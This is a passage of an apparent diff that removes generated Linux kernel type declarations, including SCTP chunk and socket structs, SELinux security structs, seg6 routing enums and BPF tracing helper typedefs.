- union { - __u32 ppid; - __be32 fsn; - }; - __u8 payload[0]; -}; - -struct sctp_ipv4addr_param { - struct sctp_paramhdr param_hdr; - struct in_addr addr; -}; - -struct sctp_ipv6addr_param { - struct sctp_paramhdr param_hdr; - struct in6_addr addr; -}; - -struct sctp_cookie_preserve_param { - struct sctp_paramhdr param_hdr; - __be32 lifespan_increment; -}; - -struct sctp_hostname_param { - struct sctp_paramhdr param_hdr; - uint8_t hostname[0]; -}; - -struct sctp_supported_addrs_param { - struct sctp_paramhdr param_hdr; - __be16 types[0]; -}; - -struct sctp_adaptation_ind_param { - struct sctp_paramhdr param_hdr; - __be32 adaptation_ind; -}; - -struct sctp_supported_ext_param { - struct sctp_paramhdr param_hdr; - __u8 chunks[0]; -}; - -struct sctp_random_param { - struct sctp_paramhdr param_hdr; - __u8 random_val[0]; -}; - -struct sctp_chunks_param { - struct sctp_paramhdr param_hdr; - __u8 chunks[0]; -}; - -struct sctp_hmac_algo_param { - struct sctp_paramhdr param_hdr; - __be16 hmac_ids[0]; -}; - -struct sctp_cookie_param { - struct sctp_paramhdr p; - __u8 body[0]; -}; - -struct sctp_gap_ack_block { - __be16 start; - __be16 end; -}; - -union sctp_sack_variable { - struct sctp_gap_ack_block gab; - __be32 dup; -}; - -struct sctp_sackhdr { - __be32 cum_tsn_ack; - __be32 a_rwnd; - __be16 num_gap_ack_blocks; - __be16 num_dup_tsns; - union sctp_sack_variable variable[0]; -}; - -struct sctp_heartbeathdr { - struct sctp_paramhdr info; -}; - -struct sctp_shutdownhdr { - __be32 cum_tsn_ack; -}; - -struct sctp_errhdr { - __be16 cause; - __be16 length; - __u8 variable[0]; -}; - -struct sctp_ecnehdr { - __be32 lowest_tsn; -}; - -struct sctp_cwrhdr { - __be32 lowest_tsn; -}; - -struct sctp_fwdtsn_skip { - __be16 stream; - __be16 ssn; -}; - -struct sctp_fwdtsn_hdr { - __be32 new_cum_tsn; - struct sctp_fwdtsn_skip skip[0]; -}; - -struct sctp_ifwdtsn_skip { - __be16 stream; - __u8 reserved; - __u8 flags; - __be32 mid; -}; - -struct sctp_ifwdtsn_hdr { - __be32 new_cum_tsn; - struct sctp_ifwdtsn_skip skip[0]; -}; - -struct sctp_addip_param { - struct sctp_paramhdr param_hdr; - __be32 crr_id; -}; - -struct sctp_addiphdr { - __be32 serial; - __u8 params[0]; -}; - -struct sctp_authhdr { - __be16 shkey_id; - __be16 hmac_id; - __u8 hmac[0]; -}; - -struct sctp_auth_bytes { - refcount_t refcnt; - __u32 len; - __u8 data[0]; -}; - -struct sctp_shared_key { - struct list_head key_list; - struct sctp_auth_bytes *key; - refcount_t refcnt; - __u16 key_id; - __u8 deactivated; -}; - -enum { - SCTP_MAX_STREAM = 65535, -}; - -enum sctp_event_timeout { - SCTP_EVENT_TIMEOUT_NONE = 0, - SCTP_EVENT_TIMEOUT_T1_COOKIE = 1, - SCTP_EVENT_TIMEOUT_T1_INIT = 2, - SCTP_EVENT_TIMEOUT_T2_SHUTDOWN = 3, - SCTP_EVENT_TIMEOUT_T3_RTX = 4, - SCTP_EVENT_TIMEOUT_T4_RTO = 5, - SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD = 6, - SCTP_EVENT_TIMEOUT_HEARTBEAT = 7, - SCTP_EVENT_TIMEOUT_RECONF = 8, - SCTP_EVENT_TIMEOUT_PROBE = 9, - SCTP_EVENT_TIMEOUT_SACK = 10, - SCTP_EVENT_TIMEOUT_AUTOCLOSE = 11, -}; - -enum { - SCTP_MAX_DUP_TSNS = 16, -}; - -enum sctp_scope { - SCTP_SCOPE_GLOBAL = 0, - SCTP_SCOPE_PRIVATE = 1, - SCTP_SCOPE_LINK = 2, - SCTP_SCOPE_LOOPBACK = 3, - SCTP_SCOPE_UNUSABLE = 4, -}; - -enum { - SCTP_AUTH_HMAC_ID_RESERVED_0 = 0, - SCTP_AUTH_HMAC_ID_SHA1 = 1, - SCTP_AUTH_HMAC_ID_RESERVED_2 = 2, - SCTP_AUTH_HMAC_ID_SHA256 = 3, - __SCTP_AUTH_HMAC_MAX = 4, -}; - -struct sctp_ulpevent { - struct sctp_association *asoc; - struct sctp_chunk *chunk; - unsigned int rmem_len; - union { - __u32 mid; - __u16 ssn; - }; - union { - __u32 ppid; - __u32 fsn; - }; - __u32 tsn; - __u32 cumtsn; - __u16 stream; - __u16 flags; - __u16 msg_flags; -} __attribute__((packed)); - -union sctp_addr_param; - -union sctp_params { - void *v; - struct sctp_paramhdr *p; - struct sctp_cookie_preserve_param *life; - struct sctp_hostname_param *dns; - struct sctp_cookie_param *cookie; - struct sctp_supported_addrs_param *sat; - struct sctp_ipv4addr_param *v4; - struct sctp_ipv6addr_param *v6; - union sctp_addr_param *addr; - struct sctp_adaptation_ind_param *aind; - struct sctp_supported_ext_param *ext; - struct sctp_random_param *random; - struct sctp_chunks_param *chunks; - struct sctp_hmac_algo_param *hmac_algo; - struct sctp_addip_param *addip; -}; - -struct sctp_sender_hb_info; - -struct sctp_signed_cookie; - -struct sctp_datamsg; - -struct sctp_chunk { - struct list_head list; - refcount_t refcnt; - int sent_count; - union { - struct list_head transmitted_list; - struct list_head stream_list; - }; - struct list_head frag_list; - struct sk_buff *skb; - union { - struct sk_buff *head_skb; - struct sctp_shared_key *shkey; - }; - union sctp_params param_hdr; - union { - __u8 *v; - struct sctp_datahdr *data_hdr; - struct sctp_inithdr *init_hdr; - struct sctp_sackhdr *sack_hdr; - struct sctp_heartbeathdr *hb_hdr; - struct sctp_sender_hb_info *hbs_hdr; - struct sctp_shutdownhdr *shutdown_hdr; - struct sctp_signed_cookie *cookie_hdr; - struct sctp_ecnehdr *ecne_hdr; - struct sctp_cwrhdr *ecn_cwr_hdr; - struct sctp_errhdr *err_hdr; - struct sctp_addiphdr *addip_hdr; - struct sctp_fwdtsn_hdr *fwdtsn_hdr; - struct sctp_authhdr *auth_hdr; - struct sctp_idatahdr *idata_hdr; - struct sctp_ifwdtsn_hdr *ifwdtsn_hdr; - } subh; - __u8 *chunk_end; - struct sctp_chunkhdr *chunk_hdr; - struct sctphdr *sctp_hdr; - struct sctp_sndrcvinfo sinfo; - struct sctp_association *asoc; - struct sctp_ep_common *rcvr; - long unsigned int sent_at; - union sctp_addr source; - union sctp_addr dest; - struct sctp_datamsg *msg; - struct sctp_transport *transport; - struct sk_buff *auth_chunk; - __u16 rtt_in_progress: 1; - __u16 has_tsn: 1; - __u16 has_ssn: 1; - __u16 singleton: 1; - __u16 end_of_packet: 1; - __u16 ecn_ce_done: 1; - __u16 pdiscard: 1; - __u16 tsn_gap_acked: 1; - __u16 data_accepted: 1; - __u16 auth: 1; - __u16 has_asconf: 1; - __u16 pmtu_probe: 1; - __u16 tsn_missing_report: 2; - __u16 fast_retransmit: 2; -}; - -struct sctp_stream_interleave { - __u16 data_chunk_len; - __u16 ftsn_chunk_len; - struct sctp_chunk * (*make_datafrag)(const struct sctp_association *, const struct sctp_sndrcvinfo *, int, __u8, gfp_t); - void (*assign_number)(struct sctp_chunk *); - bool (*validate_data)(struct sctp_chunk *); - int (*ulpevent_data)(struct sctp_ulpq *, struct sctp_chunk *, gfp_t); - int (*enqueue_event)(struct sctp_ulpq *, struct sctp_ulpevent *); - void (*renege_events)(struct sctp_ulpq *, struct sctp_chunk *, gfp_t); - void (*start_pd)(struct sctp_ulpq *, gfp_t); - void (*abort_pd)(struct sctp_ulpq *, gfp_t); - void (*generate_ftsn)(struct sctp_outq *, __u32); - bool (*validate_ftsn)(struct sctp_chunk *); - void (*report_ftsn)(struct sctp_ulpq *, __u32); - void (*handle_ftsn)(struct sctp_ulpq *, struct sctp_chunk *); -}; - -struct sctp_bind_bucket { - short unsigned int port; - signed char fastreuse; - signed char fastreuseport; - kuid_t fastuid; - struct hlist_node node; - struct hlist_head owner; - struct net *net; -}; - -enum sctp_socket_type { - SCTP_SOCKET_UDP = 0, - SCTP_SOCKET_UDP_HIGH_BANDWIDTH = 1, - SCTP_SOCKET_TCP = 2, -}; - -struct crypto_shash; - -struct sctp_pf; - -struct sctp_sock { - struct inet_sock inet; - enum sctp_socket_type type; - long: 0; - struct sctp_pf *pf; - struct crypto_shash *hmac; - char *sctp_hmac_alg; - struct sctp_endpoint *ep; - struct sctp_bind_bucket *bind_hash; - __u16 default_stream; - int: 0; - __u32 default_ppid; - __u16 default_flags; - int: 0; - __u32 default_context; - __u32 default_timetolive; - __u32 default_rcv_context; - int max_burst; - __u32 hbinterval; - __u32 probe_interval; - __be16 udp_port; - __be16 encap_port; - __u16 pathmaxrxt; - int: 0; - __u32 flowlabel; - __u8 dscp; - short: 0; - __u16 pf_retrans; - __u16 ps_retrans; - long: 0; - __u32 pathmtu; - __u32 sackdelay; - __u32 sackfreq; - __u32 param_flags; - __u32 default_ss; - struct sctp_rtoinfo rtoinfo; - struct sctp_paddrparams paddrparam; - struct sctp_assocparams assocparams; - __u16 subscribe; - struct sctp_initmsg initmsg; - long: 0; - int user_frag; - __u32 autoclose; - __u32 adaptation_ind; - __u32 pd_point; - __u16 nodelay: 1; - __u16 pf_expose: 2; - __u16 reuse: 1; - __u16 disable_fragments: 1; - __u16 v4mapped: 1; - __u16 frag_interleave: 1; - __u16 recvrcvinfo: 1; - __u16 recvnxtinfo: 1; - __u16 data_ready_signalled: 1; - int: 0; - atomic_t pd_mode; - struct sk_buff_head pd_lobby; - struct list_head auto_asconf_list; - int do_auto_asconf; -} __attribute__((packed)); - -struct sctp_af; - -struct sctp_pf { - void (*event_msgname)(struct sctp_ulpevent *, char *, int *); - void (*skb_msgname)(struct sk_buff *, char *, int *); - int (*af_supported)(sa_family_t, struct sctp_sock *); - int (*cmp_addr)(const union sctp_addr *, const union sctp_addr *, struct sctp_sock *); - int (*bind_verify)(struct sctp_sock *, union sctp_addr *); - int (*send_verify)(struct sctp_sock *, union sctp_addr *); - int (*supported_addrs)(const struct sctp_sock *, __be16 *); - struct sock * (*create_accept_sk)(struct sock *, struct sctp_association *, bool); - int (*addr_to_user)(struct sctp_sock *, union sctp_addr *); - void (*to_sk_saddr)(union sctp_addr *, struct sock *); - void (*to_sk_daddr)(union sctp_addr *, struct sock *); - void (*copy_ip_options)(struct sock *, struct sock *); - struct sctp_af *af; -}; - -struct sctp_endpoint { - struct sctp_ep_common base; - struct hlist_node node; - int hashent; - struct list_head asocs; - __u8 secret_key[32]; - __u8 *digest; - __u32 sndbuf_policy; - __u32 rcvbuf_policy; - struct crypto_shash **auth_hmacs; - struct sctp_hmac_algo_param *auth_hmacs_list; - struct sctp_chunks_param *auth_chunk_list; - struct list_head endpoint_shared_keys; - __u16 active_key_id; - __u8 ecn_enable: 1; - __u8 auth_enable: 1; - __u8 intl_enable: 1; - __u8 prsctp_enable: 1; - __u8 asconf_enable: 1; - __u8 reconf_enable: 1; - __u8 strreset_enable; - struct callback_head rcu; -}; - -struct sctp_signed_cookie { - __u8 signature[32]; - __u32 __pad; - struct sctp_cookie c; -} __attribute__((packed)); - -union sctp_addr_param { - struct sctp_paramhdr p; - struct sctp_ipv4addr_param v4; - struct sctp_ipv6addr_param v6; -}; - -struct sctp_sender_hb_info { - struct sctp_paramhdr param_hdr; - union sctp_addr daddr; - long unsigned int sent_at; - __u64 hb_nonce; - __u32 probe_size; -}; - -struct sctp_af { - int (*sctp_xmit)(struct sk_buff *, struct sctp_transport *); - int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); - int (*getsockopt)(struct sock *, int, int, char *, int *); - void (*get_dst)(struct sctp_transport *, union sctp_addr *, struct flowi *, struct sock *); - void (*get_saddr)(struct sctp_sock *, struct sctp_transport *, struct flowi *); - void (*copy_addrlist)(struct list_head *, struct net_device *); - int (*cmp_addr)(const union sctp_addr *, const union sctp_addr *); - void (*addr_copy)(union sctp_addr *, union sctp_addr *); - void (*from_skb)(union sctp_addr *, struct sk_buff *, int); - void (*from_sk)(union sctp_addr *, struct sock *); - bool (*from_addr_param)(union sctp_addr *, union sctp_addr_param *, __be16, int); - int (*to_addr_param)(const union sctp_addr *, union sctp_addr_param *); - int (*addr_valid)(union sctp_addr *, struct sctp_sock *, const struct sk_buff *); - enum sctp_scope (*scope)(union sctp_addr *); - void (*inaddr_any)(union sctp_addr *, __be16); - int (*is_any)(const union sctp_addr *); - int (*available)(union sctp_addr *, struct sctp_sock *); - int (*skb_iif)(const struct sk_buff *); - int (*skb_sdif)(const struct sk_buff *); - int (*is_ce)(const struct sk_buff *); - void (*seq_dump_addr)(struct seq_file *, union sctp_addr *); - void (*ecn_capable)(struct sock *); - __u16 net_header_len; - int sockaddr_len; - int (*ip_options_len)(struct sock *); - sa_family_t sa_family; - struct list_head list; -}; - -struct sctp_packet { - __u16 source_port; - __u16 destination_port; - __u32 vtag; - struct list_head chunk_list; - size_t overhead; - size_t size; - size_t max_size; - struct sctp_transport *transport; - struct sctp_chunk *auth; - u8 has_cookie_echo: 1; - u8 has_sack: 1; - u8 has_auth: 1; - u8 has_data: 1; - u8 ipfragok: 1; -}; - -struct sctp_transport { - struct list_head transports; - struct rhlist_head node; - refcount_t refcnt; - __u32 rto_pending: 1; - __u32 hb_sent: 1; - __u32 pmtu_pending: 1; - __u32 dst_pending_confirm: 1; - __u32 sack_generation: 1; - u32 dst_cookie; - struct flowi fl; - union sctp_addr ipaddr; - struct sctp_af *af_specific; - struct sctp_association *asoc; - long unsigned int rto; - __u32 rtt; - __u32 rttvar; - __u32 srtt; - __u32 cwnd; - __u32 ssthresh; - __u32 partial_bytes_acked; - __u32 flight_size; - __u32 burst_limited; - struct dst_entry *dst; - union sctp_addr saddr; - long unsigned int hbinterval; - long unsigned int probe_interval; - long unsigned int sackdelay; - __u32 sackfreq; - atomic_t mtu_info; - ktime_t last_time_heard; - long unsigned int last_time_sent; - long unsigned int last_time_ecne_reduced; - __be16 encap_port; - __u16 pathmaxrxt; - __u32 flowlabel; - __u8 dscp; - __u16 pf_retrans; - __u16 ps_retrans; - __u32 pathmtu; - __u32 param_flags; - int init_sent_count; - int state; - short unsigned int error_count; - struct timer_list T3_rtx_timer; - struct timer_list hb_timer; - struct timer_list proto_unreach_timer; - struct timer_list reconf_timer; - struct timer_list probe_timer; - struct list_head transmitted; - struct sctp_packet packet; - struct list_head send_ready; - struct { - __u32 next_tsn_at_change; - char changeover_active; - char cycling_changeover; - char cacc_saw_newack; - } cacc; - struct { - __u16 pmtu; - __u16 probe_size; - __u16 probe_high; - __u8 probe_count; - __u8 state; - } pl; - __u64 hb_nonce; - struct callback_head rcu; -}; - -struct sctp_datamsg { - struct list_head chunks; - refcount_t refcnt; - long unsigned int expires_at; - int send_error; - u8 send_failed: 1; - u8 can_delay: 1; - u8 abandoned: 1; -}; - -struct sctp_stream_priorities { - struct list_head prio_sched; - struct list_head active; - struct sctp_stream_out_ext *next; - __u16 prio; -}; - -struct sctp_stream_out_ext { - __u64 abandoned_unsent[3]; - __u64 abandoned_sent[3]; - struct list_head outq; - union { - struct { - struct list_head prio_list; - struct sctp_stream_priorities *prio_head; - }; - struct { - struct list_head rr_list; - }; - }; -}; - -struct selinux_audit_data { - u32 ssid; - u32 tsid; - u16 tclass; - u32 requested; - u32 audited; - u32 denied; - int result; - struct selinux_state *state; -}; - -struct task_security_struct { - u32 osid; - u32 sid; - u32 exec_sid; - u32 create_sid; - u32 keycreate_sid; - u32 sockcreate_sid; -}; - -enum label_initialized { - LABEL_INVALID = 0, - LABEL_INITIALIZED = 1, - LABEL_PENDING = 2, -}; - -struct inode_security_struct { - struct inode *inode; - struct list_head list; - u32 task_sid; - u32 sid; - u16 sclass; - unsigned char initialized; - spinlock_t lock; -}; - -struct file_security_struct { - u32 sid; - u32 fown_sid; - u32 isid; - u32 pseqno; -}; - -struct superblock_security_struct { - u32 sid; - u32 def_sid; - u32 mntpoint_sid; - short unsigned int behavior; - short unsigned int flags; - struct mutex lock; - struct list_head isec_head; - spinlock_t isec_lock; -}; - -struct msg_security_struct { - u32 sid; -}; - -struct ipc_security_struct { - u16 sclass; - u32 sid; -}; - -struct sk_security_struct { - enum { - NLBL_UNSET = 0, - NLBL_REQUIRE = 1, - NLBL_LABELED = 2, - NLBL_REQSKB = 3, - NLBL_CONNLABELED = 4, - } nlbl_state; - struct netlbl_lsm_secattr *nlbl_secattr; - u32 sid; - u32 peer_sid; - u16 sclass; - enum { - SCTP_ASSOC_UNSET = 0, - SCTP_ASSOC_SET = 1, - } sctp_assoc_state; -}; - -struct tun_security_struct { - u32 sid; -}; - -struct key_security_struct { - u32 sid; -}; - -struct bpf_security_struct { - u32 sid; -}; - -struct perf_event_security_struct { - u32 sid; -}; - -struct security_class_mapping { - const char *name; - const char *perms[33]; -}; - -struct selinux_mnt_opts { - u32 fscontext_sid; - u32 context_sid; - u32 rootcontext_sid; - u32 defcontext_sid; -}; - -enum { - Opt_error = -1, - Opt_context = 0, - Opt_defcontext = 1, - Opt_fscontext = 2, - Opt_rootcontext = 3, - Opt_seclabel = 4, -}; - -enum bpf_ret_code { - BPF_OK = 0, - BPF_DROP = 2, - BPF_REDIRECT = 7, - BPF_LWT_REROUTE = 128, - BPF_FLOW_DISSECTOR_CONTINUE = 129, -}; - -enum { - IP6_FH_F_FRAG = 1, - IP6_FH_F_AUTH = 2, - IP6_FH_F_SKIP_RH = 4, -}; - -enum { - SEG6_LOCAL_UNSPEC = 0, - SEG6_LOCAL_ACTION = 1, - SEG6_LOCAL_SRH = 2, - SEG6_LOCAL_TABLE = 3, - SEG6_LOCAL_NH4 = 4, - SEG6_LOCAL_NH6 = 5, - SEG6_LOCAL_IIF = 6, - SEG6_LOCAL_OIF = 7, - SEG6_LOCAL_BPF = 8, - SEG6_LOCAL_VRFTABLE = 9, - SEG6_LOCAL_COUNTERS = 10, - SEG6_LOCAL_FLAVORS = 11, - __SEG6_LOCAL_MAX = 12, -}; - -enum { - SEG6_LOCAL_ACTION_UNSPEC = 0, - SEG6_LOCAL_ACTION_END = 1, - SEG6_LOCAL_ACTION_END_X = 2, - SEG6_LOCAL_ACTION_END_T = 3, - SEG6_LOCAL_ACTION_END_DX2 = 4, - SEG6_LOCAL_ACTION_END_DX6 = 5, - SEG6_LOCAL_ACTION_END_DX4 = 6, - SEG6_LOCAL_ACTION_END_DT6 = 7, - SEG6_LOCAL_ACTION_END_DT4 = 8, - SEG6_LOCAL_ACTION_END_B6 = 9, - SEG6_LOCAL_ACTION_END_B6_ENCAP = 10, - SEG6_LOCAL_ACTION_END_BM = 11, - SEG6_LOCAL_ACTION_END_S = 12, - SEG6_LOCAL_ACTION_END_AS = 13, - SEG6_LOCAL_ACTION_END_AM = 14, - SEG6_LOCAL_ACTION_END_BPF = 15, - SEG6_LOCAL_ACTION_END_DT46 = 16, - __SEG6_LOCAL_ACTION_MAX = 17, -}; - -enum { - SEG6_LOCAL_BPF_PROG_UNSPEC = 0, - SEG6_LOCAL_BPF_PROG = 1, - SEG6_LOCAL_BPF_PROG_NAME = 2, - __SEG6_LOCAL_BPF_PROG_MAX = 3, -}; - -enum { - SEG6_LOCAL_CNT_UNSPEC = 0, - SEG6_LOCAL_CNT_PAD = 1, - SEG6_LOCAL_CNT_PACKETS = 2, - SEG6_LOCAL_CNT_BYTES = 3, - SEG6_LOCAL_CNT_ERRORS = 4, - __SEG6_LOCAL_CNT_MAX = 5, -}; - -enum { - SEG6_LOCAL_FLV_UNSPEC = 0, - SEG6_LOCAL_FLV_OPERATION = 1, - SEG6_LOCAL_FLV_LCBLOCK_BITS = 2, - SEG6_LOCAL_FLV_LCNODE_FN_BITS = 3, - __SEG6_LOCAL_FLV_MAX = 4, -}; - -enum { - SEG6_LOCAL_FLV_OP_UNSPEC = 0, - SEG6_LOCAL_FLV_OP_PSP = 1, - SEG6_LOCAL_FLV_OP_USP = 2, - SEG6_LOCAL_FLV_OP_USD = 3, - SEG6_LOCAL_FLV_OP_NEXT_CSID = 4, - __SEG6_LOCAL_FLV_OP_MAX = 5, -}; - -struct seg6_bpf_srh_state { - struct ipv6_sr_hdr *srh; - u16 hdrlen; - bool valid; -}; - -struct seg6_local_lwt; - -struct seg6_local_lwtunnel_ops { - int (*build_state)(struct seg6_local_lwt *, const void *, struct netlink_ext_ack *); - void (*destroy_state)(struct seg6_local_lwt *); -}; - -struct bpf_lwt_prog { - struct bpf_prog *prog; - char *name; -}; - -enum seg6_end_dt_mode { - DT_INVALID_MODE = -22, - DT_LEGACY_MODE = 0, - DT_VRF_MODE = 1, -}; - -struct seg6_end_dt_info { - enum seg6_end_dt_mode mode; - struct net *net; - int vrf_ifindex; - int vrf_table; - u16 family; -}; - -struct seg6_flavors_info { - __u32 flv_ops; - __u8 lcblock_bits; - __u8 lcnode_func_bits; -}; - -struct pcpu_seg6_local_counters; - -struct seg6_action_desc; - -struct seg6_local_lwt { - int action; - struct ipv6_sr_hdr *srh; - int table; - struct in_addr nh4; - struct in6_addr nh6; - int iif; - int oif; - struct bpf_lwt_prog bpf; - struct seg6_end_dt_info dt_info; - struct seg6_flavors_info flv_info; - struct pcpu_seg6_local_counters *pcpu_counters; - int headroom; - struct seg6_action_desc *desc; - long unsigned int parsed_optattrs; -}; - -struct seg6_action_desc { - int action; - long unsigned int attrs; - long unsigned int optattrs; - int (*input)(struct sk_buff *, struct seg6_local_lwt *); - int static_headroom; - struct seg6_local_lwtunnel_ops slwt_ops; -}; - -struct pcpu_seg6_local_counters { - u64_stats_t packets; - u64_stats_t bytes; - u64_stats_t errors; - struct u64_stats_sync syncp; -}; - -struct seg6_local_counters { - __u64 packets; - __u64 bytes; - __u64 errors; -}; - -struct seg6_action_param { - int (*parse)(struct nlattr **, struct seg6_local_lwt *, struct netlink_ext_ack *); - int (*put)(struct sk_buff *, struct seg6_local_lwt *); - int (*cmp)(struct seg6_local_lwt *, struct seg6_local_lwt *); - void (*destroy)(struct seg6_local_lwt *); -}; - -struct in6_addr; - -enum perf_msr_id { - PERF_MSR_TSC = 0, - PERF_MSR_APERF = 1, - PERF_MSR_MPERF = 2, - PERF_MSR_PPERF = 3, - PERF_MSR_SMI = 4, - PERF_MSR_PTSC = 5, - PERF_MSR_IRPERF = 6, - PERF_MSR_THERM = 7, - PERF_MSR_EVENT_MAX = 8, -}; - -struct agp_kern_info { - struct agp_version version; - struct pci_dev *device; - enum chipset_type chipset; - long unsigned int mode; - long unsigned int aper_base; - size_t aper_size; - int max_memory; - int current_memory; - bool cant_use_aperture; - long unsigned int page_mask; - const struct vm_operations_struct *vm_ops; -}; - -struct agp_bridge_data; - -struct amd_l3_cache { - unsigned int indices; - u8 subcaches[4]; -}; - -struct threshold_block { - unsigned int block; - unsigned int bank; - unsigned int cpu; - u32 address; - u16 interrupt_enable; - bool interrupt_capable; - u16 threshold_limit; - struct kobject kobj; - struct list_head miscj; -}; - -struct threshold_bank { - struct kobject *kobj; - struct threshold_block *blocks; - refcount_t cpus; - unsigned int shared; -}; - -struct amd_northbridge { - struct pci_dev *root; - struct pci_dev *misc; - struct pci_dev *link; - struct amd_l3_cache l3_cache; - struct threshold_bank *bank4; -}; - -struct dma_sgt_handle { - struct sg_table sgt; - struct page **pages; -}; - -struct dma_devres { - size_t size; - void *vaddr; - dma_addr_t dma_handle; - long unsigned int attrs; -}; - -struct audit_parent; - -struct audit_watch { - refcount_t count; - dev_t dev; - char *path; - long unsigned int ino; - struct audit_parent *parent; - struct list_head wlist; - struct list_head rules; -}; - -struct audit_parent { - struct list_head watches; - struct fsnotify_mark mark; -}; - -enum { - BPF_F_GET_BRANCH_RECORDS_SIZE = 1, -}; - -struct bpf_perf_event_value { - __u64 counter; - __u64 enabled; - __u64 running; -}; - -struct btf_ptr { - void *ptr; - __u32 type_id; - __u32 flags; -}; - -enum key_lookup_flag { - KEY_LOOKUP_CREATE = 1, - KEY_LOOKUP_PARTIAL = 2, - KEY_LOOKUP_ALL = 3, -}; - -struct bpf_trace_run_ctx { - struct bpf_run_ctx run_ctx; - u64 bpf_cookie; -}; - -typedef u32 (*bpf_prog_run_fn)(const struct bpf_prog *, const void *); - -struct bpf_key { - struct key *key; - bool has_ref; -}; - -struct perf_event_query_bpf { - __u32 ids_len; - __u32 prog_cnt; - __u32 ids[0]; -}; - -struct fprobe { - struct ftrace_ops ops; - long unsigned int nmissed; - unsigned int flags; - struct rethook *rethook; - void (*entry_handler)(struct fprobe *, long unsigned int, struct pt_regs *); - void (*exit_handler)(struct fprobe *, long unsigned int, struct pt_regs *); -}; - -struct trace_event_raw_bpf_trace_printk { - struct trace_entry ent; - u32 __data_loc_bpf_string; - char __data[0]; -}; - -struct trace_event_data_offsets_bpf_trace_printk { - u32 bpf_string; -}; - -typedef void (*btf_trace_bpf_trace_printk)(void *, const char *); - -struct bpf_trace_module { - struct module *module; - struct list_head list; -}; - -typedef u64 (*btf_bpf_override_return)(struct pt_regs *, long unsigned int); - -typedef u64 (*btf_bpf_probe_read_user)(void *, u32, const void *); - -typedef u64 (*btf_bpf_probe_read_user_str)(void *, u32, const void *); - -typedef u64 (*btf_bpf_probe_read_kernel)(void *, u32, const void *); - -typedef u64 (*btf_bpf_probe_read_kernel_str)(void *, u32, const void *); - -typedef u64 (*btf_bpf_probe_read_compat)(void *, u32, const void *); - -typedef u64 (*btf_bpf_probe_read_compat_str)(void *, u32, const void *); - -typedef u64 (*btf_bpf_probe_write_user)(void *, const void *, u32); - -typedef u64 (*btf_bpf_trace_printk)(char *, u32, u64, u64, u64); - -typedef u64 (*btf_bpf_trace_vprintk)(char *, u32, const void *, u32); - -typedef u64 (*btf_bpf_seq_printf)(struct seq_file *, char *, u32, const void *, u32); - -typedef u64 (*btf_bpf_seq_write)(struct seq_file *, const void *, u32); - -typedef u64 (*btf_bpf_seq_printf_btf)(struct seq_file *, struct btf_ptr *, u32, u64); - -typedef u64 (*btf_bpf_perf_event_read)(struct bpf_map *, u64); - -typedef u64 (*btf_bpf_perf_event_read_value)(struct bpf_map *, u64, struct bpf_perf_event_value *, u32); - -struct bpf_trace_sample_data { - struct perf_sample_data sds[3]; -}; - -typedef u64 (*btf_bpf_perf_event_output)(struct pt_regs *, struct bpf_map *, u64, void *, u64); - -struct bpf_nested_pt_regs { - struct pt_regs regs[3]; -}; - -typedef u64 (*btf_bpf_get_current_task)(); - -typedef u64 (*btf_bpf_get_current_task_btf)(); - -typedef u64 (*btf_bpf_task_pt_regs)(struct task_struct *); - -typedef u64 (*btf_bpf_current_task_under_cgroup)(struct bpf_map *, u32); - -struct send_signal_irq_work { - struct irq_work irq_work; - struct task_struct *task; - u32 sig; - enum pid_type type; -}; - -typedef u64 (*btf_bpf_send_signal)(u32); - -typedef u64 (*btf_bpf_send_signal_thread)(u32); - -typedef u64 (*btf_bpf_d_path)(struct path *, char *, u32); - -typedef u64 (*btf_bpf_snprintf_btf)(char *, u32, struct btf_ptr *, u32, u64); - -typedef u64 (*btf_bpf_get_func_ip_tracing)(void *); - -typedef u64 (*btf_bpf_get_func_ip_kprobe)(struct pt_regs *); - -typedef u64 (*btf_bpf_get_func_ip_kprobe_multi)(struct pt_regs *); - -typedef u64 (*btf_bpf_get_attach_cookie_kprobe_multi)(struct pt_regs *); - -typedef u64 (*btf_bpf_get_attach_cookie_trace)(void *); - -typedef u64 (*btf_bpf_get_attach_cookie_pe)(struct bpf_perf_event_data_kern *); - -typedef u64 (*btf_bpf_get_attach_cookie_tracing)(void *); - -typedef u64 (*btf_bpf_get_branch_snapshot)(void *, u32, u64); - -typedef u64 (*btf_get_func_arg)(void *, u32, u64 *); - -typedef u64 (*btf_get_func_ret)(void *, u64 *); - -typedef u64 (*btf_get_func_arg_cnt)(void *); - -typedef u64 (*btf_bpf_perf_event_output_tp)(void *, struct bpf_map *, u64, void *, u64); - -typedef u64 (*btf_bpf_get_stackid_tp)(void *, struct bpf_map *, u64); - -typedef u64 (*btf_bpf_get_stack_tp)(void *, void *, u32, u64); - -typedef u64 (*btf_bpf_perf_prog_read_value)(struct bpf_perf_event_data_kern *, struct bpf_perf_event_value *, u32); - -typedef u64 (*btf_bpf_read_branch_records)(struct bpf_perf_event_data_kern *, void *, u32, u64); - -struct bpf_raw_tp_regs { - struct pt_regs regs[3]; -}; - -typedef u64 (*btf_bpf_perf_event_output_raw_tp)(struct bpf_raw_tracepoint_args *, struct bpf_map *, u64, void *, u64); - -typedef u64 (*btf_bpf_get_stackid_raw_tp)(struct bpf_raw_tracepoint_args *, struct bpf_map *, u64); - -typedef u64 (*btf_bpf_get_stack_raw_tp)(struct bpf_raw_tracepoint_args *, void *, u32, u64); - -struct bpf_kprobe_multi_link { - struct bpf_link link; - struct fprobe fp; - long unsigned int *addrs; - u64 *cookies; - u32 cnt; - u32 mods_cnt; - struct module **mods; -}; - -struct bpf_kprobe_multi_run_ctx { - struct bpf_run_ctx run_ctx; - struct bpf_kprobe_multi_link *link; - long unsigned int entry_ip; -}; - -struct user_syms { - const char **syms; - char *buf; -}; - -struct multi_symbols_sort { - const char **funcs; - u64 *cookies; -}; - -struct module_addr_args { - long unsigned int *addrs; - u32 addrs_cnt; - struct module **mods; - int mods_cnt; - int mods_cap; -}; - -enum { - DISK_EVENT_MEDIA_CHANGE = 1, - DISK_EVENT_EJECT_REQUEST = 2, -}; - -enum { - DISK_EVENT_FLAG_POLL = 1, - DISK_EVENT_FLAG_UEVENT = 2, - DISK_EVENT_FLAG_BLOCK_ON_EXCL_WRITE = 4, -}; - -struct disk_events { - struct list_head node; - struct gendisk *disk; - spinlock_t lock; - struct mutex block_mutex; - int block; - unsigned int pending; - unsigned int clearing; - long int poll_msecs; - struct delayed_work dwork; -}; - -struct sbq_wait { - struct sbitmap_queue *sbq; - struct wait_queue_entry wait; -}; - -enum iommu_dma_cookie_type { - IOMMU_DMA_IOVA_COOKIE = 0, - 